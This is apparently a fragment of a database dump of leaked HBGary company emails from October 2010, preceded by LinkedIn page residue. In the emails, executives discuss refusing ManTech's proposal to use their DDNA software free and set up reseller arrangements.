       \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Scott Goldberg\r\n                ,\r\n                  Systems Engineer at NJVC\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Jahmal Webster\r\n                ,\r\n                  IT Recruiter, SAIC\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Aaron G.\r\n                ,\r\n                  Deputy Director, Cyber Security Division at IST Research\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n\r\n      \r\n    \r\n   \r\n\r\n\r\n\r\n  \r\n    \r\n               \r\n    \r\n      \r\n\r\n        \r\n          \r\n            Companies in Jon\'s Network:\r\n          \r\n        \r\n\r\n               \r\n          \r\n\r\n            \r\n              \r\n                  \r\n                     \r\n            \r\n                \r\n             \r\n              \r\n                 \r\n                     Oberon Associates\r\n                    \r\n                      Jon works here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n              \r\n                 \r\n                     Booz Allen Hamilton\r\n                    \r\n                      Jon worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n              \r\n                 \r\n                     Northrop Grumman Corporation\r\n                    \r\n                      Jon worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n              \r\n                 \r\n                     Dell\r\n                    \r\n                      Jon knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n\r\n\r\n      \r\n    \r\n   \r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            &copy; 2010, LinkedIn Corporation\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n \r\n\r\n\r\n',4470,'aaron_hbgary_com/4470.html'),(12633,'2010-10-05','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297009331.M454904P14101Q7488.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','ManTech','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny and Aaron,\r\n\r\n&nbsp;\r\n\r\nPlease see the email chain\r\nbelow.&nbsp; I wanted to have some internal dialogue before I speak with David.\r\n\r\n&nbsp;\r\n\r\nThe attached powerpoint was\r\nDavid&#8217;s proposition to HBGary that they purchase DDNA during the development\r\nof their MDA system then deploy it to the ManTech SOC after the New Year.&nbsp;\r\nWe ended up charging them $30,625 during the development phase with the plan\r\nthat they would apply that amount toward the purchase by the SOC.\r\n\r\n&nbsp;\r\n\r\nIn his email below he is &#8220;pitching&#8221;\r\nthat we provide our software to the ManTech SOC for free in exchange for workshare on contracts and ManTech reselling DDNA\r\nlicenses to customers via MDA.&nbsp;&nbsp; Personally, I don&#8217;t like the\r\nidea.&nbsp; In my entire business career I&#8217;ve never experienced a good\r\noutcome for &#8220;future revenue&#8221; schemes.&nbsp; \r\n\r\n&nbsp;\r\n\r\nOne reason we cooperated during their\r\ndevelopment phase was because we had a promise that the SOC would buy.&nbsp;\r\nNow, David is proposing to change the deal.&nbsp; We had a deal in concept\r\nworked out for the development phase, a discounted reseller price for the SOC,\r\nand reseller pricing for when they use our software on their services\r\nengagements.&nbsp; I view his latest &#8220;offer&#8221; to be reneging on a\r\nhandshake agreement.\r\n\r\n&nbsp;\r\n\r\nI want the three us (Penny,\r\nAaron and me) to be in agreement as to how we approach ManTech.&nbsp; I am not\r\ninclined to drop my drawers, but I am willing to bend if ManTech shows could\r\nfaith with a reasonable amount of money upfront.&nbsp; Perhaps if they buy a license\r\nfor the SOC we could provide them an extra reseller discount on some future\r\ntransactions to RECOVER THEIR COSTS over time.&nbsp; I want them to take the\r\nfinancial risk, not us.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Savage, David R\r\n[mailto:David.Savage@ManTech.com] \r\nSent: Monday, October 04, 2010 8:19 PM\r\nTo: Bob Slapnik\r\nSubject: RE: Voice Message from MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAll good questions J\r\n\r\n&nbsp;\r\n\r\nThanks for the update on the\r\nmods, that is good news!&nbsp; In terms of testing, are we still approx 2 weeks\r\nout from obtaining the mods?\r\n\r\n&nbsp;\r\n\r\nAs you know we have purchased a\r\n500 node license for $32K+ that were are using for testing and integration,\r\nwith the intent the annual clock for the licensing would start at the beginning\r\nof 2011 when we actually deploy MDA to the ManTech SOC.&nbsp; The current plan\r\nis that the ManTech SOC would acquire additional DDNA licenses (up to 2,500 additional\r\nlicenses, bringing the total to 3,000 with the 500 we&#8217;ve already\r\npurchased). \r\n\r\n&nbsp;\r\n\r\nI&#8217;ve been holding off on\r\nfinalizing anything with the SOC, as I wanted to address the possibility of a\r\nstrategic business relationship with you (HBGary), wherein ManTech would be\r\nable to leverage DDNA free of cost internally in exchange for workshare on\r\ncontracts and ManTech reselling DDNA licenses to customers via MDA.&nbsp;\r\nI&#8217;ve had discussions with my Executive Leadership toward that end, and I\r\nneed to follow up on with my leadership again so we can move toward some sort\r\nof solution.\r\n\r\n&nbsp;\r\n\r\nAt any rate, your email has\r\nbrought all this back on my radar J&nbsp; The ball is in my\r\ncourt now to identify the use-strategy for DDNA at the ManTech SOC, and I will\r\nget back to you.&nbsp; If for some reason you haven&#8217;t heard from me in\r\ntwo weeks, please ping me again.&nbsp; I certainly don&#8217;t mean to get\r\nside-tracked, but I wear about six different hats J\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nDave\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Monday, October 04, 2010 6:26 PM\r\nTo: Savage, David R\r\nSubject: RE: Voice Message from MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nDavid,\r\n\r\n&nbsp;\r\n\r\nWanted to tell you that the\r\nsoftware mods you wanted have been completed and are now in testing.&nbsp;\r\nAlso, we had discussed that you intend to deploy your MDA software with\r\nHBGary&#8217;s DDNA agent into the ManTech SOC after the New Year.&nbsp; Is\r\nthat still the plan?&nbsp; We had discussed that the ManTech SOC would be\r\npurchasing the HBGary software as part of that deployment.&nbsp; Is that plan\r\nstill active?&nbsp; Does the SOC have its budget identified for that purchase?\r\n\r\n&nbsp;\r\n\r\nThis email is chock full of\r\nquestions, isn&#8217;t it?&nbsp; J\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice\r\nPresident&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; |\r\nMobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;\r\nbob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Savage, David R [mailto:David.Savage@ManTech.com]\r\n\r\nSent: Monday, October 04, 2010 6:29 PM\r\nTo: Bob Slapnik\r\nSubject: FW: Voice Message from MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBob &#8211;\r\n\r\n&nbsp;\r\n\r\nI received your voicemail.&nbsp;\r\nI do not have easy access to a phone this week.&nbsp; Is there anything we can\r\naddress via email ?\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nDave\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Unity Messaging\r\nSystem - CHN-UNITY-1 \r\nSent: Monday, October 04, 2010 1:55 PM\r\nTo: Savage, David R\r\nSubject: Voice Message from MARYLAND (93016528885)\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3385,'aaron_hbgary_com/3385.html'),(12634,'2010-10-05','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297009331.M711797P14101Q7489.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: ManTech','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNope we can&#8217;t do this for free,\r\nit&#8217;s a business just like they have a business and we need to make money.&nbsp; WE\r\naren&#8217;t using their software for free and quite frankly we&#8217;ve done MORE than we\r\nsaid we would because of this &#8220;strategic&#8221; relationship.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Monday, October 04, 2010 6:35 PM\r\nTo: \'Penny Leavy-Hoglund\'; \'Aaron Barr\'\r\nSubject: ManTech\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny and Aaron,\r\n\r\n&nbsp;\r\n\r\nPlease see the email chain\r\nbelow.&nbsp; I wanted to have some internal dialogue before I speak with David.\r\n\r\n&nbsp;\r\n\r\nThe attached powerpoint was\r\nDavid&#8217;s proposition to HBGary that they purchase DDNA during the development of\r\ntheir MDA system then deploy it to the ManTech SOC after the New Year.&nbsp; We\r\nended up charging them $30,625 during the development phase with the plan that\r\nthey would apply that amount toward the purchase by the SOC.\r\n\r\n&nbsp;\r\n\r\nIn his email below he is\r\n&#8220;pitching&#8221; that we provide our software to the ManTech SOC for free in exchange\r\nfor workshare on contracts and ManTech reselling DDNA licenses to customers via\r\nMDA.&nbsp;&nbsp; Personally, I don&#8217;t like the idea.&nbsp; In my entire business\r\ncareer I&#8217;ve never experienced a good outcome for &#8220;future revenue&#8221;\r\nschemes.&nbsp; \r\n\r\n&nbsp;\r\n\r\nOne reason we cooperated during\r\ntheir development phase was because we had a promise that the SOC would\r\nbuy.&nbsp; Now, David is proposing to change the deal.&nbsp; We had a deal in\r\nconcept worked out for the development phase, a discounted reseller price for\r\nthe SOC, and reseller pricing for when they use our software on their services\r\nengagements.&nbsp; I view his latest &#8220;offer&#8221; to be reneging on a handshake\r\nagreement.\r\n\r\n&nbsp;\r\n\r\nI want the three us (Penny,\r\nAaron and me) to be in agreement as to how we approach ManTech.&nbsp; I am not\r\ninclined to drop my drawers, but I am willing to bend if ManTech shows could\r\nfaith with a reasonable amount of money upfront.&nbsp; Perhaps if they buy a\r\nlicense for the SOC we could provide them an extra reseller discount on some\r\nfuture transactions to RECOVER THEIR COSTS over time.&nbsp; I want them to take\r\nthe financial risk, not us.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Savage, David R\r\n[mailto:David.Savage@ManTech.com] \r\nSent: Monday, October 04, 2010 8:19 PM\r\nTo: Bob Slapnik\r\nSubject: RE: Voice Message from MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAll good questions J\r\n\r\n&nbsp;\r\n\r\nThanks for the update on the\r\nmods, that is good news!&nbsp; In terms of testing, are we still approx 2 weeks\r\nout from obtaining the mods?\r\n\r\n&nbsp;\r\n\r\nAs you know we have purchased a\r\n500 node license for $32K+ that were are using for testing and integration,\r\nwith the intent the annual clock for the licensing would start at the beginning\r\nof 2011 when we actually deploy MDA to the ManTech SOC.&nbsp; The current plan\r\nis that the ManTech SOC would acquire additional DDNA licenses (up to 2,500\r\nadditional licenses, bringing the total to 3,000 with the 500 we&#8217;ve already\r\npurchased). \r\n\r\n&nbsp;\r\n\r\nI&#8217;ve been holding off on\r\nfinalizing anything with the SOC, as I wanted to address the possibility of a\r\nstrategic business relationship with you (HBGary), wherein ManTech would be\r\nable to leverage DDNA free of cost internally in exchange for workshare on\r\ncontracts and ManTech reselling DDNA licenses to customers via MDA.&nbsp; I&#8217;ve had\r\ndiscussions with my Executive Leadership toward that end, and I need to follow\r\nup on with my leadership again so we can move toward some sort of solution.\r\n\r\n&nbsp;\r\n\r\nAt any rate, your email has\r\nbrought all this back on my radar J&nbsp; The ball is in my\r\ncourt now to identify the use-strategy for DDNA at the ManTech SOC, and I will\r\nget back to you.&nbsp; If for some reason you haven&#8217;t heard from me in two\r\nweeks, please ping me again.&nbsp; I certainly don&#8217;t mean to get side-tracked,\r\nbut I wear about six different hats J\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nDave\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Monday, October 04, 2010 6:26 PM\r\nTo: Savage, David R\r\nSubject: RE: Voice Message from MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nDavid,\r\n\r\n&nbsp;\r\n\r\nWanted to tell you that the\r\nsoftware mods you wanted have been completed and are now in testing.&nbsp;\r\nAlso, we had discussed that you intend to deploy your MDA software with\r\nHBGary&#8217;s DDNA agent into the ManTech SOC after the New Year.&nbsp; Is that\r\nstill the plan?&nbsp; We had discussed that the ManTech SOC would be purchasing\r\nthe HBGary software as part of that deployment.&nbsp; Is that plan still\r\nactive?&nbsp; Does the SOC have its budget identified for that purchase?\r\n\r\n&nbsp;\r\n\r\nThis email is chock full of\r\nquestions, isn&#8217;t it?&nbsp; J\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice\r\nPresident&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; |\r\nMobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;\r\nbob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Savage, David R\r\n[mailto:David.Savage@ManTech.com] \r\nSent: Monday, October 04, 2010 6:29 PM\r\nTo: Bob Slapnik\r\nSubject: FW: Voice Message from MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBob &#8211;\r\n\r\n&nbsp;\r\n\r\nI received your voicemail.&nbsp;\r\nI do not have easy access to a phone this week.&nbsp; Is there anything we can\r\naddress via email ?\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nDave\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Unity Messaging\r\nSystem - CHN-UNITY-1 \r\nSent: Monday, October 04, 2010 1:55 PM\r\nTo: Savage, David R\r\nSubject: Voice Message from MARYLAND (93016528885)\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12756,'aaron_hbgary_com/12756.html'),(12635,'2010-10-05','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297009331.M948002P14101Q7490.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: ManTech','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWe are on the same page.&nbsp; I am\r\ngoing to hold David to his original proposition.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Monday, October 04, 2010 9:43 PM\r\nTo: \'Bob Slapnik\'; \'Aaron Barr\'\r\nSubject: RE: ManTech\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNope we can&#8217;t do this for free,\r\nit&#8217;s a business just like they have a business and we need to make money.&nbsp;\r\nWE aren&#8217;t using their software for free and quite frankly we&#8217;ve done MORE than\r\nwe said we would because of this &#8220;strategic&#8221; relationship.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Monday, October 04, 2010 6:35 PM\r\nTo: \'Penny Leavy-Hoglund\'; \'Aaron Barr\'\r\nSubject: ManTech\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny and Aaron,\r\n\r\n&nbsp;\r\n\r\nPlease see the email chain\r\nbelow.&nbsp; I wanted to have some internal dialogue before I speak with David.\r\n\r\n&nbsp;\r\n\r\nThe attached powerpoint was\r\nDavid&#8217;s proposition to HBGary that they purchase DDNA during the development of\r\ntheir MDA system then deploy it to the ManTech SOC after the New Year.&nbsp; We\r\nended up charging them $30,625 during the development phase with the plan that\r\nthey would apply that amount toward the purchase by the SOC.\r\n\r\n&nbsp;\r\n\r\nIn his email below he is\r\n&#8220;pitching&#8221; that we provide our software to the ManTech SOC for free in exchange\r\nfor workshare on contracts and ManTech reselling DDNA licenses to customers via\r\nMDA.&nbsp;&nbsp; Personally, I don&#8217;t like the idea.&nbsp; In my entire business\r\ncareer I&#8217;ve never experienced a good outcome for &#8220;future revenue&#8221;\r\nschemes.&nbsp; \r\n\r\n&nbsp;\r\n\r\nOne reason we cooperated during\r\ntheir development phase was because we had a promise that the SOC would\r\nbuy.&nbsp; Now, David is proposing to change the deal.&nbsp; We had a deal in\r\nconcept worked out for the development phase, a discounted reseller price for\r\nthe SOC, and reseller pricing for when they use our software on their services\r\nengagements.&nbsp; I view his latest &#8220;offer&#8221; to be reneging on a handshake\r\nagreement.\r\n\r\n&nbsp;\r\n\r\nI want the three us (Penny,\r\nAaron and me) to be in agreement as to how we approach ManTech.&nbsp; I am not\r\ninclined to drop my drawers, but I am willing to bend if ManTech shows could\r\nfaith with a reasonable amount of money upfront.&nbsp; Perhaps if they buy a\r\nlicense for the SOC we could provide them an extra reseller discount on some\r\nfuture transactions to RECOVER THEIR COSTS over time.&nbsp; I want them to take\r\nthe financial risk, not us.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Savage, David R\r\n[mailto:David.Savage@ManTech.com] \r\nSent: Monday, October 04, 2010 8:19 PM\r\nTo: Bob Slapnik\r\nSubject: RE: Voice Message from MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAll good questions J\r\n\r\n&nbsp;\r\n\r\nThanks for the update on the\r\nmods, that is good news!&nbsp; In terms of testing, are we still approx 2 weeks\r\nout from obtaining the mods?\r\n\r\n&nbsp;\r\n\r\nAs you know we have purchased a\r\n500 node license for $32K+ that were are using for testing and integration,\r\nwith the intent the annual clock for the licensing would start at the beginning\r\nof 2011 when we actually deploy MDA to the ManTech SOC.&nbsp; The current plan\r\nis that the ManTech SOC would acquire additional DDNA licenses (up to 2,500\r\nadditional licenses, bringing the total to 3,000 with the 500 we&#8217;ve already\r\npurchased). \r\n\r\n&nbsp;\r\n\r\nI&#8217;ve been holding off on\r\nfinalizing anything with the SOC, as I wanted to address the possibility of a\r\nstrategic business relationship with you (HBGary), wherein ManTech would be\r\nable to leverage DDNA free of cost internally in exchange for workshare on\r\ncontracts and ManTech reselling DDNA licenses to customers via MDA.&nbsp; I&#8217;ve\r\nhad discussions with my Executive Leadership toward that end, and I need to\r\nfollow up on with my leadership again so we can move toward some sort of\r\nsolution.\r\n\r\n&nbsp;\r\n\r\nAt any rate, your email has\r\nbrought all this back on my radar J&nbsp; The ball is in my\r\ncourt now to identify the use-strategy for DDNA at the ManTech SOC, and I will\r\nget back to you.&nbsp; If for some reason you haven&#8217;t heard from me in two\r\nweeks, please ping me again.&nbsp; I certainly don&#8217;t mean to get side-tracked,\r\nbut I wear about six different hats J\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nDave\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Monday, October 04, 2010 6:26 PM\r\nTo: Savage, David R\r\nSubject: RE: Voice Message from MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nDavid,\r\n\r\n&nbsp;\r\n\r\nWanted to tell you that the\r\nsoftware mods you wanted have been completed and are now in testing.&nbsp;\r\nAlso, we had discussed that you intend to deploy your MDA software with\r\nHBGary&#8217;s DDNA agent into the ManTech SOC after the New Year.&nbsp; Is that\r\nstill the plan?&nbsp; We had discussed that the ManTech SOC would be purchasing\r\nthe HBGary software as part of that deployment.&nbsp; Is that plan still\r\nactive?&nbsp; Does the SOC have its budget identified for that purchase?\r\n\r\n&nbsp;\r\n\r\nThis email is chock full of\r\nquestions, isn&#8217;t it?&nbsp; J\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice\r\nPresident&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; |\r\nMobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;\r\nbob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Savage, David R\r\n[mailto:David.Savage@ManTech.com] \r\nSent: Monday, October 04, 2010 6:29 PM\r\nTo: Bob Slapnik\r\nSubject: FW: Voice Message from MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBob &#8211;\r\n\r\n&nbsp;\r\n\r\nI received your voicemail.&nbsp;\r\nI do not have easy access to a phone this week.&nbsp; Is there anything we can\r\naddress via email ?\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nDave\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Unity Messaging\r\nSystem - CHN-UNITY-1 \r\nSent: Monday, October 04, 2010 1:55 PM\r\nTo: Savage, David R\r\nSubject: Voice Message from MARYLAND (93016528885)\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11199,'aaron_hbgary_com/11199.html'),(12636,'2010-10-05','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297009332.M188991P14101Q7491.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','RE: Reseller','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny, Ted and Aaron,\r\n\r\n&nbsp;\r\n\r\nI am all for HBG Fed being a\r\nreseller.&nbsp; Been kind of wondering why we haven&#8217;t done any s/w transactions with\r\nHBG Fed yet.&nbsp; Ted and Aaron certainly understand what we do.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Monday, October 04, 2010 6:55 PM\r\nTo: \'Bob Slapnik\'; \'Ted Vera\'; \'Aaron Barr\'\r\nCc: \'Maria Lucas\'\r\nSubject: Reseller\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBob,\r\n\r\n&nbsp;\r\n\r\nTed and Aaron have very good relationships with TASC and\r\nNG.&nbsp; Ted is going to look at selling into these accounts.&nbsp; You should\r\ntreat him as a reseller and give him support and guidance.&nbsp; Most of this\r\nis for internal use, not for a contract, and he can act as an extension of\r\nyou.&nbsp; We are putting in place a standard reseller relationship, so that we\r\nstill get product and support revenue, but they get a cut, like a reseller\r\nwould.&nbsp; Aaron is working with CISO of TASC and Ted has internal contacts\r\nat NG and other places.&nbsp; Same will be for Maria in her territory\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by any\r\ntaxpayer for the purpose of avoiding tax penalties that may be imposed\r\non&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to\r\nU.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject of\r\nlegal privilege intended only for use by the intended recipient. If you are not\r\nthe intended recipient or the person responsible for&nbsp;&nbsp; delivering the\r\nmessage to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14060,'aaron_hbgary_com/14060.html'),(12637,'2010-10-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009332.M414125P14101Q7492.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: ManTech','I am on board. &nbsp;You can\'t ask a small company to give away software for free in hopes of future engagements. &nbsp;One thing to be clear on is big companies don\'t speak with one voice, they have many. &nbsp;The guy your working with fits somewhere in the food chain below Eric (who I am meeting with tomorrow). &nbsp;And often external and internal efforts are separated financially and functionally.What I am not clear on is why the change in plans? &nbsp;If I understand the circumstances clearly I may be able to help.AaronOn Oct 4, 2010, at 9:42 PM, Penny Leavy-Hoglund wrote:Nope we can’t do this for free, it’s a business just like they have a business and we need to make money.&nbsp; WE aren’t using their software for free and quite frankly we’ve done MORE than we said we would because of this “strategic” relationship.&nbsp;&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Monday, October 04, 2010 6:35 PMTo:&nbsp;\'Penny Leavy-Hoglund\'; \'Aaron Barr\'Subject:&nbsp;ManTech&nbsp;Penny and Aaron,&nbsp;Please see the email chain below.&nbsp; I wanted to have some internal dialogue before I speak with David.&nbsp;The attached powerpoint was David’s proposition to HBGary that they purchase DDNA during the development of their MDA system then deploy it to the ManTech SOC after the New Year.&nbsp; We ended up charging them $30,625 during the development phase with the plan that they would apply that amount toward the purchase by the SOC.&nbsp;In his email below he is “pitching” that we provide our software to the ManTech SOC for free in exchange for workshare on contracts and ManTech reselling DDNA licenses to customers via MDA.&nbsp;&nbsp; Personally, I don’t like the idea.&nbsp; In my entire business career I’ve never experienced a good outcome for “future revenue” schemes.&nbsp;&nbsp;One reason we cooperated during their development phase was because we had a promise that the SOC would buy.&nbsp; Now, David is proposing to change the deal.&nbsp; We had a deal in concept worked out for the development phase, a discounted reseller price for the SOC, and reseller pricing for when they use our software on their services engagements.&nbsp; I view his latest “offer” to be reneging on a handshake agreement.&nbsp;I want the three us (Penny, Aaron and me) to be in agreement as to how we approach ManTech.&nbsp; I am not inclined to drop my drawers, but I am willing to bend if ManTech shows could faith with a reasonable amount of money upfront.&nbsp; Perhaps if they buy a license for the SOC we could provide them an extra reseller discount on some future transactions to RECOVER THEIR COSTS over time.&nbsp; I want them to take the financial risk, not us.&nbsp;Bob&nbsp;From:&nbsp;Savage, David R [mailto:David.Savage@ManTech.com]&nbsp;Sent:&nbsp;Monday, October 04, 2010 8:19 PMTo:&nbsp;Bob SlapnikSubject:&nbsp;RE: Voice Message from MARYLAND (93016528885)&nbsp;All good questions&nbsp;J&nbsp;Thanks for the update on the mods, that is good news!&nbsp; In terms of testing, are we still approx 2 weeks out from obtaining the mods?&nbsp;As you know we have purchased a 500 node license for $32K+ that were are using for testing and integration, with the intent the annual clock for the licensing would start at the beginning of 2011 when we actually deploy MDA to the ManTech SOC.&nbsp; The current plan is that the ManTech SOC would acquire additional DDNA licenses (up to 2,500 additional licenses, bringing the total to 3,000 with the 500 we’ve already purchased).&nbsp;I’ve been holding off on finalizing anything with the SOC, as I wanted to address the possibility of a strategic business relationship with you (HBGary), wherein ManTech would be able to leverage DDNA free of cost internally in exchange for workshare on contracts and ManTech reselling DDNA licenses to customers via MDA.&nbsp; I’ve had discussions with my Executive Leadership toward that end, and I need to follow up on with my leadership again so we can move toward some sort of solution.&nbsp;At any rate, your email has brought all this back on my radar&nbsp;J&nbsp; The ball is in my court now to identify the use-strategy for DDNA at the ManTech SOC, and I will get back to you.&nbsp; If for some reason you haven’t 